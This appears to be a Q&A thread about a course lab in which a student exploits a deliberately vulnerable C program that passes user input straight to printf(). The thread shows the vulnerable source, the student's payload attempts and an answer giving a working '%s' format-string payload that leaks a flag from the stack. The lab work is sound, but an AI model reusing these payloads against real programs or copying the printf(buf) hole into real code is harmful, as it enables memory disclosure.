How to read an arbitrary pointer from the stack with a format string exploit?

2.1k views Asked by At

I'm a trying to learn about reverse engineering from CSCI 4971 course, and I'm struggling with one particular lab question (fmt_string).

I'm supposed to find and print out the flag stores somewhere. Here's how the source code looks:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define LINK "\x1b\x5b" "34m"
#define RESET "\x1b\x5b" "0m"


int main()
{
  char buf[256];
  char *blah = (char *)0xdeadbeef;
  char *pointer = flag;
  char *xblah = (char *)0x1337c0de;

  printf("\x1b\x5b" "32;1m" "Format string bugs " RESET "were discovered in 1990 using fuzz testing\n" RESET
         "Nobody really cared though until this exploit for ProFTPD was\n"
         "dropped in 1999 " LINK "http://seclists.org/bugtraq/1999/Sep/328" RESET ".....\n"
         "\n"
         "In this challenge you do not need code execution. The flag is\n"
         "somewhere in memory. There is a pointer to it on the stack. You\n"
         "must use this pointer to dump the flag...\n"
         "\n"
         "You will retrieve it by passing in format string specifiers to\n"
         "the printf() function\n"
         "\n"
         "After class read this article by rebel for fmt string leetness\n"
         LINK " http://neworder.box.sk/newsread.php?newsid=9103" RESET "\n"
         "\n"
         "As a hint, your pointer is somewhere\n between 0x1337c0de and 0xdeadbeef\n"
         "\n oh, and man printf\n"
         "\n"
         "\n"
         );

  while(1)
  {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }

}

This is how I approached the problem: I know that inputting %x will print out the data stored in stack. So when I input AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x , I get output AAAA.00000100.080c7020.00000000.1337c0de.080c90a0.deadbeef.41414141, which is as I expected.

Last 4 bytes 41414141 are the 4 As' in beginning, 4 bytes deadbeef and 1337c0de are the ones hardcoded in source code. Now, I'm pretty sure that the flag is stored in address 080c90a0.

However when I run this bash command, I can't get the flag:

$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string"

What I get is:

000000.> ��
          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                    .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                            .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                    .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                            .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                                    .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
        .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                        .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                        .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                        .00000000.00000000.00000000.00000000.00000000.00000000.> ��
      .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                .00000000.00000000.00000000.00000000.00000000.00000000.> ��
              .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                        .00000000.00000000.00000000.00000000.00000000.00000000.> ��

Please help me understand what am I doing wrong, why do I get this output and what should I do to get the flag?

2

There are 2 answers

1
Peter Cordes On BEST ANSWER

Your bash printf command never even ran your C program. The ./fmt_string is inside the double quotes as part of the arg to the printf builtin.

On my desktop (in a directory with no file called fmt_string), I get:

$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string"
��
 .00000000.00000000.00000000.00000000.00000000.00000000. | ./fmt_string

That's different from the output you show, so maybe you didn't copy the command you actually ran?


Maybe you actually ran printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s" | ./fmt_string. Without the pipe, it prints:

��
 .00000000.00000000.00000000.00000000.00000000.00000000.

because you didn't do anything to stop the printf builtin from interpreting the %s in the string you're printing. Use printf '%s\n' ..., or use echo. Ironically, your attempt to test a format-string vulnerability was defeated by incorrect handling of format-strings.

Piping that printf output through your program would print it verbatim, since it no longer has any printf meta-characters. The fgets/printf loop is just copying stdin to stdout in that case, even though it has binary garbage.


As far as actually finding where flag is stored on the stack, compile with gcc -O0 -fverbose-asm -masm=intel foo.c -S -o- | less, and look at gcc's comments to see where it's putting the pointer you want.

(I'm assuming that your exploit only works against the code compiled with -O0, because otherwise the pointer will never be stored on the stack.)

IDK if you're using -m32 or not. If not, then the first 6 integer args for printf are passed in integer registers (in the x86-64 System V ABI), so you need to get through them first.

See the tag wiki for ABI doc links. I'm assuming you're on Linux from the use of the printf bash command.

0
Klas Lindbäck On

Your first try indicates that the pointer is stored in the 5th position.

Simply replace the 5th %08x with a suitable format code, depending on the data in the pointed to location. If flag points to a string, then %s is suitable:

AAAA.%08x.%08x.%08x.%08x.%s.%08x.%08x

Expected output:

AAAA.00000100.080c7020.00000000.1337c0de.<secret message>.deadbeef.41414141